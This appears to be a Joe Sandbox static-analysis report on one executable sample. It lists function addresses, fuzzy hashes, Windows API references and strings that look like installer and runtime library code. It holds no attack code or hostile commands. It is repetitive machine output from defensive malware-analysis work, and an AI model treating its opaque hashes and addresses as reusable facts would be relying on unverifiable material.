Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d9d7679fbde78b3247f07612fed3e9cb59a38070ec5122fd68ccd9571fce079
Instruction ID: e4b0c3c9785f429ef4f698e89094b306792c15e699deaf45e8c6aa7779092d77
Opcode Fuzzy Hash: 5d9d7679fbde78b3247f07612fed3e9cb59a38070ec5122fd68ccd9571fce079
Instruction Fuzzy Hash: 809155B4200B459BD728EB64CCA5FFE7BC5EB90305F10092DE99687282EFB4E985C751

Function 000C55A0 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68e6acee6c9f498f5e15989f60e614e6aa36cc50bb8c8e6a6afc36a9cff0e6f1
Instruction ID: 1f3648ceb6d954cb4ffa7e7b8add3c9a1c98459f5a3efa6951d8d9f2ffe6a9ec
Opcode Fuzzy Hash: 68e6acee6c9f498f5e15989f60e614e6aa36cc50bb8c8e6a6afc36a9cff0e6f1
Instruction Fuzzy Hash: C3814875308B419BEB34DF28DCD5FFE37D5ABA0305F50092DE9868B283DAA4A8C58751

Function 000D64C7 Relevance: .2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4d76b976377cb1462aeac44fda2fc1e56c614a1f07e499693e405c22f54187d
Instruction ID: 6db3249480c1aa41d80e237dfe3ed91d4d13f9574afcc47a9e4b45d48d6b9877
Opcode Fuzzy Hash: c4d76b976377cb1462aeac44fda2fc1e56c614a1f07e499693e405c22f54187d
Instruction Fuzzy Hash: 4E617971640B08A6DE789A68A8A5BFE23C4EF05704F14051BE943DB38EDA17EDC18739

Function 000D6298 Relevance: .2, Instructions: 214COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5deea3b29f66a918188f7a75532971316276c2599c24e1ebb0fa75850081f94e
Instruction ID: 11ca7c4d08bd05c44f933214756a5992e30b1204e9ffd98379f20bbfe2736628
Opcode Fuzzy Hash: 5deea3b29f66a918188f7a75532971316276c2599c24e1ebb0fa75850081f94e
Instruction Fuzzy Hash: 99516971604B4497DFB48A6885557FF67D59B12300F18092FE882DB783C61BEF458376

Function 000C02F7 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf08668bbbebc652dc05f99108bf70859c0f99c3daa78516f6f3eb84f144d9f9
Instruction ID: 9c27166c0c6a152af97626017c1fca676a98a6702aa2cac857ae39c8212cc1b4
Opcode Fuzzy Hash: cf08668bbbebc652dc05f99108bf70859c0f99c3daa78516f6f3eb84f144d9f9
Instruction Fuzzy Hash: 2151DF715093D58BC712CF28C184AAFBFE4AF9A714F4909ADE4D95B243C230DB4ACB52

Function 000C13F6 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c3013e1957c154e33c20702ce1410c4b68ecc9ff320e0c1c9d48fa3d56d6270
Instruction ID: 46733e369226100f937e043affd348321bec204897d37963e35900f1c3cab754
Opcode Fuzzy Hash: 0c3013e1957c154e33c20702ce1410c4b68ecc9ff320e0c1c9d48fa3d56d6270
Instruction Fuzzy Hash: 5351EFB1A087119FC748CF19D48055AF7E1FF88314F058A2EE899E3301DB30E9598B96

Function 000C5001 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74cd97078976d413443546a5e6f1c41999260f7e4caf4087a6071dd61f1d0527
Instruction ID: 9a8da7ca8c9f4681b769e38159cbc67393bac2eb997b0bc558b6711696da708f
Opcode Fuzzy Hash: 74cd97078976d413443546a5e6f1c41999260f7e4caf4087a6071dd61f1d0527
Instruction Fuzzy Hash: B731FEB5604B0A8FCB14DF28CC516AEBBE0EB95301F244A2DE896C3742C775E949CF91

Function 000CD872 Relevance: 47.7, APIs: 23, Strings: 4, Instructions: 428windowCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000CD877

Part of subcall function 000CC4F4: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 000CC5DB

_wcslen.LIBCMT ref: 000CDB3D
_wcslen.LIBCMT ref: 000CDB46
SetWindowTextW.USER32(?,?), ref: 000CDBA4
_wcslen.LIBCMT ref: 000CDBE6
_wcsrchr.LIBVCRUNTIME ref: 000CDD2E
GetDlgItem.USER32(?,00000066), ref: 000CDD69
SetWindowTextW.USER32(00000000,?), ref: 000CDD79
SendMessageW.USER32(00000000,00000143,00000000,0010389A), ref: 000CDD87
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 000CDDB2

Strings

ProgramFilesDir, xrefs: 000CDC78
%s.%d.tmp, xrefs: 000CDA73
<br>, xrefs: 000CDB07
Software\Microsoft\Windows\CurrentVersion, xrefs: 000CDC4D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 2804936435-312220925
Opcode ID: d49e7426c0aa732882008ea1e00d0f907ba5eb6478a96d761b89843477794c8b
Instruction ID: 8a449e4414f77db7316fb44f570eae0f5cda4644d22275a33bdf9b76bec06433
Opcode Fuzzy Hash: d49e7426c0aa732882008ea1e00d0f907ba5eb6478a96d761b89843477794c8b
Instruction Fuzzy Hash: 82E15F72900258AADB24DBA4DD85FEE73BCEB05310F5484BAF609E7151EB749E84CF60

Function 000BF608 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 000BF62E

Part of subcall function 000B4A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 000B4A33

Part of subcall function 000C30E5: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,000F3070,?,000BEC48,00000000,?,00000050,000F3070), ref: 000C3102

_strlen.LIBCMT ref: 000BF64F
SetDlgItemTextW.USER32(?,000F0274,?), ref: 000BF6AF
GetWindowRect.USER32(?,?), ref: 000BF6E9
GetClientRect.USER32(?,?), ref: 000BF6F5
GetWindowLongW.USER32(?,000000F0), ref: 000BF795
GetWindowRect.USER32(?,?), ref: 000BF7C2
SetWindowTextW.USER32(?,?), ref: 000BF7FB
GetSystemMetrics.USER32(00000008), ref: 000BF803
GetWindow.USER32(?,00000005), ref: 000BF80E
GetWindowRect.USER32(00000000,?), ref: 000BF83B
GetWindow.USER32(00000000,00000002), ref: 000BF8AD

Strings

$%s:, xrefs: 000BF622
d, xrefs: 000BF715
CAPTION, xrefs: 000BF7DD

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: 0ebc2c48b00ca946d2258f938987f4af067af5347cc8c394f2b44218417fba9e
Instruction ID: ee527a17f367a5a07d77a47ed2cc6d8c43734a51cc5c19e9e039a60075ccf360
Opcode Fuzzy Hash: 0ebc2c48b00ca946d2258f938987f4af067af5347cc8c394f2b44218417fba9e
Instruction Fuzzy Hash: 4481A172208301AFD715DF68CD89BAFBBE9EBC8704F04492DFA84D7251D670E8098B52

Function 000DDCD2 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 000DDD16

Part of subcall function 000DD8B1: _free.LIBCMT ref: 000DD8CE
Part of subcall function 000DD8B1: _free.LIBCMT ref: 000DD8E0
Part of subcall function 000DD8B1: _free.LIBCMT ref: 000DD8F2
Part of subcall function 000DD8B1: _free.LIBCMT ref: 000DD904
Part of subcall function 000DD8B1: _free.LIBCMT ref: 000DD916
Part of subcall function 000DD8B1: _free.LIBCMT ref: 000DD928
Part of subcall function 000DD8B1: _free.LIBCMT ref: 000DD93A
Part of subcall function 000DD8B1: _free.LIBCMT ref: 000DD94C
Part of subcall function 000DD8B1: _free.LIBCMT ref: 000DD95E
Part of subcall function 000DD8B1: _free.LIBCMT ref: 000DD970
Part of subcall function 000DD8B1: _free.LIBCMT ref: 000DD982
Part of subcall function 000DD8B1: _free.LIBCMT ref: 000DD994
Part of subcall function 000DD8B1: _free.LIBCMT ref: 000DD9A6

_free.LIBCMT ref: 000DDD0B

Part of subcall function 000DA65A: RtlFreeHeap.NTDLL(00000000,00000000,?,000DDA46,?,00000000,?,00000000,?,000DDA6D,?,00000007,?,?,000DDE6A,?), ref: 000DA670
Part of subcall function 000DA65A: GetLastError.KERNEL32(?,?,000DDA46,?,00000000,?,00000000,?,000DDA6D,?,00000007,?,?,000DDE6A,?,?), ref: 000DA682

_free.LIBCMT ref: 000DDD2D
_free.LIBCMT ref: 000DDD42
_free.LIBCMT ref: 000DDD4D
_free.LIBCMT ref: 000DDD6F
_free.LIBCMT ref: 000DDD82
_free.LIBCMT ref: 000DDD90
_free.LIBCMT ref: 000DDD9B
_free.LIBCMT ref: 000DDDD3
_free.LIBCMT ref: 000DDDDA
_free.LIBCMT ref: 000DDDF7
_free.LIBCMT ref: 000DDE0F

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: ca6eb36eb09c994bd824ddb8c2f72728be8f721a436c1d21e4a322c3eef5aa8b
Instruction ID: 876a12d9e7d148449e28049962c3a3e4f7c1589809653fadf27ff9a98248ecf8
Opcode Fuzzy Hash: ca6eb36eb09c994bd824ddb8c2f72728be8f721a436c1d21e4a322c3eef5aa8b
Instruction Fuzzy Hash: 80311831A00305DFEF61AA78D849B96B3EAFF11311F14482BF45996392DA75EC44CA36

Function 000CA6C1 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 000CA6E6
_wcslen.LIBCMT ref: 000CA786
GlobalAlloc.KERNEL32(00000040,?), ref: 000CA795
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 000CA7B6
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 000CA7DD

Strings

<html>, xrefs: 000CA705, 000CA73E
utf-8"></head>, xrefs: 000CA71B
</html>, xrefs: 000CA767
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 000CA710

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Global_wcslen$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1777411235-4209811716
Opcode ID: 898ab5f2ae5dc7004fef789e39ce6f88a9b3f684d4bfc16741479221420ff388
Instruction ID: 56d511d36d24bae610c47540ebb4876b308c030745b259cf2b36c2f2911cb621
Opcode Fuzzy Hash: 898ab5f2ae5dc7004fef789e39ce6f88a9b3f684d4bfc16741479221420ff388
Instruction Fuzzy Hash: D53177322087457FE724AB209C46FAF77A8AF42724F14051EF500AA2D2FF64990883A6

Function 000CE7DE Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 000CE801
GetClassNameW.USER32(00000000,?,00000800), ref: 000CE82D

Part of subcall function 000C3306: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00013306,000BD523,00000000,.exe,?,?,00000800,?,?,?,000C9E4C), ref: 000C331C

GetWindowLongW.USER32(00000000,000000F0), ref: 000CE849
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 000CE860
GetObjectW.GDI32(00000000,00000018,?), ref: 000CE874
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 000CE89D
DeleteObject.GDI32(00000000), ref: 000CE8A4
GetWindow.USER32(00000000,00000002), ref: 000CE8AD

Strings

STATIC, xrefs: 000CE833

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: 9db215009f99ff519574117debc6ff04cee75f02a1d15a26e1df8f130ddcb1d6
Instruction ID: a2c7fe8b9aa0536f4690a52ea7076061f5d1ea0b02ee9c267e7e7f6a21c5e3d0
Opcode Fuzzy Hash: 9db215009f99ff519574117debc6ff04cee75f02a1d15a26e1df8f130ddcb1d6
Instruction Fuzzy Hash: 24110632644B50BBE3216B70DC4AFEF3A9DAF95710F008039FA45A50D2DF648A4A86B5

Function 000DA411 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 000DA425

Part of subcall function 000DA65A: RtlFreeHeap.NTDLL(00000000,00000000,?,000DDA46,?,00000000,?,00000000,?,000DDA6D,?,00000007,?,?,000DDE6A,?), ref: 000DA670
Part of subcall function 000DA65A: GetLastError.KERNEL32(?,?,000DDA46,?,00000000,?,00000000,?,000DDA6D,?,00000007,?,?,000DDE6A,?,?), ref: 000DA682

_free.LIBCMT ref: 000DA431
_free.LIBCMT ref: 000DA43C
_free.LIBCMT ref: 000DA447
_free.LIBCMT ref: 000DA452
_free.LIBCMT ref: 000DA45D
_free.LIBCMT ref: 000DA468
_free.LIBCMT ref: 000DA473
_free.LIBCMT ref: 000DA47E
_free.LIBCMT ref: 000DA48C

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8b793f7dc0c509f60d545053a980b068ef271c33cdc2f9b2b1fff3862dd085e6
Instruction ID: 3b690d2124e851344e1b3e9f3384464e08a96eb8a789bb997ddb65dfc69a8578
Opcode Fuzzy Hash: 8b793f7dc0c509f60d545053a980b068ef271c33cdc2f9b2b1fff3862dd085e6
Instruction Fuzzy Hash: 8911E676A00208FFCB01EF54C856CD93BA5EF15351B0584A2FA1C8F273DA31EE519BA2

Function 000D3FB1 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 000D40D0
___TypeMatch.LIBVCRUNTIME ref: 000D41DE
_UnwindNestedFrames.LIBCMT ref: 000D4330
CallUnexpected.LIBVCRUNTIME ref: 000D434B
_abort.LIBCMT ref: 000D4350

Strings

csm, xrefs: 000D405B
csm, xrefs: 000D3FEE
csm, xrefs: 000D4107

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: 203337f4dd385372b22c26f0ce73e37c5da74cedc4a2f7affcb552f5da94c5ab
Instruction ID: 47aa0fb0a2b0bd0bb5ce3f84dd07a2f8d64376fb0bed44baf06b65d25766dfa5
Opcode Fuzzy Hash: 203337f4dd385372b22c26f0ce73e37c5da74cedc4a2f7affcb552f5da94c5ab
Instruction Fuzzy Hash: 6DB13571800309EFCF29EFA8D9819AEBBB5BF14310B54416BF9156B312D731DA51CBA2

Function 000BC3F7 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 210comCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000BC3FC
CoCreateInstance.COMBASE(000E68A0,00000000,00000001,000E67D0,?), ref: 000BC41E

Strings

ROOT\CIMV2, xrefs: 000BC42F
WQL, xrefs: 000BC4AF
SELECT * FROM Win32_OperatingSystem, xrefs: 000BC49D
Windows 10, xrefs: 000BC595
Name, xrefs: 000BC583

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: CreateH_prologInstance
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 457505298-3505469590
Opcode ID: a140f6754792127611db49691b8f7343d3a5baf4edba23aae9a4e2360355b50d
Instruction ID: dca9d503c7d23aeb8b6b608a54471dc5ea2223d6b53cf2ceffe81c1d42500cfd
Opcode Fuzzy Hash: a140f6754792127611db49691b8f7343d3a5baf4edba23aae9a4e2360355b50d
Instruction Fuzzy Hash: 16714A71A00619AFEB14DFA5C894EAEB7B9EF48710B14015DE512FB2A1CB34AD41CB60

Function 000CC7A0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000B12F6: GetParent.USER32(?), ref: 000B132A
Part of subcall function 000B12F6: GetDlgItem.USER32(00000000,00003021), ref: 000B133A
Part of subcall function 000B12F6: SetWindowTextW.USER32(00000000,000E45F4), ref: 000B1350
